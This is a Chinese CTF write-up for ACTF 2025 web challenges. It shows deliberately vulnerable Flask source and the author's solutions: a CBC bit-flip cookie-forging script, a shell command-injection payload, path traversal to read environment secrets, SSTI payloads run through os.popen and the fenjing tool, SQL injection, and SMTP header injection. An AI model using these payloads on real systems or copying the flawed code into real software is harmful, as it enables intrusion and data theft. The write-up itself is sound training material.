ACTF 2025

2025/4/26 CTF线上赛

字数统计: 2.9k字 | 阅读时长: 17分 | 总文章阅读量：次

前言

24小时还是太短了（

https://github.com/team-s2/commit/cc4650640978694fa7a53fefe0b1192a4264ed63

not so web 1

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

cookie 是 CBC 加密的，不知道 key 和 ADMIN_PASSWORD

主要看这个：

def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")

只判断返回的 name

应该是 CBC 字节翻转攻击，参考：https://www.freebuf.com/vuls/246058.html

本地调试，注册一个账户 admim 进行登录并 parse_cookie，得到要修改的目标 {"name": "admim", "password_raw": "123", "register_time": -1}\r\r\r\r\r\r\r\r\r\r\r\r\r

然后目的是利用CBC字节翻转修改一个字节，把 m 改成 n

反复调试得到 exp：

import base64
from Crypto.Util.number import *
import requests

url = "http://61.147.171.105:53538"
data = {"username": "admim", "password": "123"}
session = requests.session()
r = session.post(url + "/login", data=data)
token = base64.b64decode(session.cookies.get_dict()['jwbcookie'].strip())
iv = token[:16]
cipher = token[16:]
plaintext = b'{"name": "admim", "password_raw": "123", "register_time": -1}\r\r\r\r\r\r\r\r\r\r\r\r\r'
tmp = iv[14] ^ ord('m') ^ ord('n')
newIV = iv[:14] + long_to_bytes(tmp) + iv[15:]
newtoken = newIV + cipher
header = {"Cookie": b"jwbcookie=" + base64.b64encode(newtoken)}
r = session.get(url + "/home", headers=header, allow_redirects=False)
print(r.status_code)
print(base64.b64encode(newtoken))

带上 cookie ，传 ssti rce 即可

flag：ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4bl3_C00Kie}

ACTF upload

随便输个账密登录，上传文件

发现目录穿越

app.py

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))
    
    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')
    
    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>
            
            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''
            
        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'
                
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

目的是获取 admin，key是从环境变量读取的

/proc/self/environ

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.HOSTNAME=efe59dc58211.LANG=C.UTF-8.GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568.PYTHON_VERSION=3.9.17.PYTHON_PIP_VERSION=23.0.1.PYTHON_SETUPTOOLS_VERSION=58.1.0.PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.py.PYTHON_GET_PIP_SHA256=96461deced5c2a487ddc65207ec5a9cffeca0d34e7af7ea1afc470ff0d746207.SECRET_KEY=S3cRetK3y.HOME=/root.

得到SECRET_KEY=S3cRetK3y

通过 https://md5hashing.net/hash/sha256/32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0

32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0 解出来是 backdoor

然后对于

os.system(f'base64 {file_path} > /tmp/{file_path}.b64')

命令注入即可

a|ls${IFS}/>/tmp/1

然后用普通用户权限访问 ../../../../tmp/1.b64

于是直接读取 ../../../../Fl4g_is_H3r3 即可

not so web 2（复现）

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
    abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists("/etc/ssl/nginx/local.key"):
    private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:
    private_key = RSA.generate(2048)

public_key = private_key.publickey()


@dataclass
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie_b64: str) -> bool:
    valid, _ = parse_cookie(cookie_b64)
    return valid


def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
    if not cookie_b64:
        return False, ""

    try:
        cookie = base64.b64decode(cookie_b64, validate=True).decode()
    except binascii.Error:
        return False, ""

    try:
        msg_str, sig_hex = cookie.split("&")
    except Exception:
        return False, ""

    msg_dict = json.loads(msg_str)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = bytes.fromhex(sig_hex)
    try:
        PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
        valid = True
    except (ValueError, TypeError):
        valid = False
    return valid, msg_dict.get("user_name")


def generate_cookie(user: APPUser) -> str:
    msg_dict = {"user_name": user.name, "login_time": int(time.time())}
    msg_str = json.dumps(msg_dict)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
    sig_hex = sig.hex()
    packed = msg_str + "&" + sig_hex
    return base64.b64encode(packed.encode()).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        if payload:
            for char in payload:
                if char in "'_#&;":
                    abort(403)
                    return

        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

变成 RSA 了，直接看核心逻辑

def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
    if not cookie_b64:
        return False, ""

    try:
        cookie = base64.b64decode(cookie_b64, validate=True).decode()
    except binascii.Error:
        return False, ""

    try:
        msg_str, sig_hex = cookie.split("&")
    except Exception:
        return False, ""

    msg_dict = json.loads(msg_str)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = bytes.fromhex(sig_hex)
    try:
        PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
        valid = True
    except (ValueError, TypeError):
        valid = False
    return valid, msg_dict.get("user_name")

def generate_cookie(user: APPUser) -> str:
    msg_dict = {"user_name": user.name, "login_time": int(time.time())}
    msg_str = json.dumps(msg_dict)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
    sig_hex = sig.hex()
    packed = msg_str + "&" + sig_hex
    return base64.b64encode(packed.encode()).decode()

并非 Bleichenbacher attack

我们只需要让 parse_cookie 返回 true 即可，那么核心就是这里的 PKCS1_v1_5.new(public_key).verify(msg_hash, sig)

cookie base64 解码大致如下：

{"user_name": "admim", "login_time": 1745753373}&0b7a4475d332df30c7ce40c0f736c4d27cc658b164bce6f5d957c792d11279479836c6d35fb0eacb3fad7602adf6dfb20b05b3ce87fdb1ef62371a726ed62898170fa120e336d712ad1e526b8db192fae89476a79b8fc1664c68bf488c03a0aae6fef7b964f164423423ebdeaf172c2b5e5bb5e47f2b6e671bc24526715f04db7c9da426649474abcd9080d252b72127de62196bb5f4cf804403de65b2cab201d9bd6c89a42a3293224a8e1642108cd3d7649f9b23f4150c35fcc99f301da0bea27615f8f6371482548c61746acf9b6744884fbaf415c75c65725db913635d39ba97bcd4d0860c7bfa6103c65cd3248d29029584a456438ccf4948d56caa7301

其中 msg_hash 对应的是 & 前的部分

观察 PKCS1_v1_5.new ，发现它只会返回 false 或者 true，但是并不会抛出错误，因为函数内部已经处理过了

那这个函数验证的结果不影响返回，也就是说直接改 cookie 的 name 为 admin 即可

{"user_name": "admin", "login_time": 1745753373}&0b7a4475d332df30c7ce40c0f736c4d27cc658b164bce6f5d957c792d11279479836c6d35fb0eacb3fad7602adf6dfb20b05b3ce87fdb1ef62371a726ed62898170fa120e336d712ad1e526b8db192fae89476a79b8fc1664c68bf488c03a0aae6fef7b964f164423423ebdeaf172c2b5e5bb5e47f2b6e671bc24526715f04db7c9da426649474abcd9080d252b72127de62196bb5f4cf804403de65b2cab201d9bd6c89a42a3293224a8e1642108cd3d7649f9b23f4150c35fcc99f301da0bea27615f8f6371482548c61746acf9b6744884fbaf415c75c65725db913635d39ba97bcd4d0860c7bfa6103c65cd3248d29029584a456438ccf4948d56caa7301

ssti 部分直接拿 fenjing 梭了

from fenjing import exec_cmd_payload, config_payload
import logging

import urllib

logging.basicConfig(level=logging.INFO)


def waf(s: str):  # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = ["'", "_", "#", "&", ";"]
    return all(word not in s for word in blacklist)


if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "grep -r 'ACTF{'")
    # config_payload = config_payload(waf)
    shell_payload = urllib.parse.quote(shell_payload)
    print(f"{shell_payload=}")
    # print(f"{config_payload=}")

Excellent-Site（Unsolvd）

@app.route("/news", methods=["GET"])
def news():
    news_id = request.args.get("id")

    if not news_id:
        news_id = 1

    conn = sqlite3.connect("news.db")
    cursor = conn.cursor()

    cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
    result = cursor.fetchone()
    conn.close()

    if not result:
        return "Page not found.", 404
    return result[0]

这里一眼能 sqllite 注入，能拿 sqlmap 一把梭

目标是 /admin 处打 ssti，admin 必须是本地

那么就要看 /report

@app.route("/report", methods=["GET", "POST"])
def report():
    message = ""
    if request.method == "POST":
        url = request.form["url"]
        content = request.form["content"]
        smtplib._quote_periods = lambda x: x
        mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
        try:
            server = smtplib.SMTP("ezmail.org")
            mail_content = smtplib._fix_eols(mail_content)
            mail_content = mail_content.format(url=url, content=content)
            server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
            message = "Submitted! Now wait till the end of the world."
        except:
            message = "Send FAILED"
    return render_template("report.html", message=message)

这里可以注入邮件头

http://example.com\r\nBcc: duensm80437@chacuo.net

尝试直接利用 sqlite 注入往数据库中写 ssti payload

但是这里不能堆叠注入，寄

直接让管理员写 ssti payload

-1+union+select+'{{lipsum.__globals__.os.popen("sleep").read()}}'

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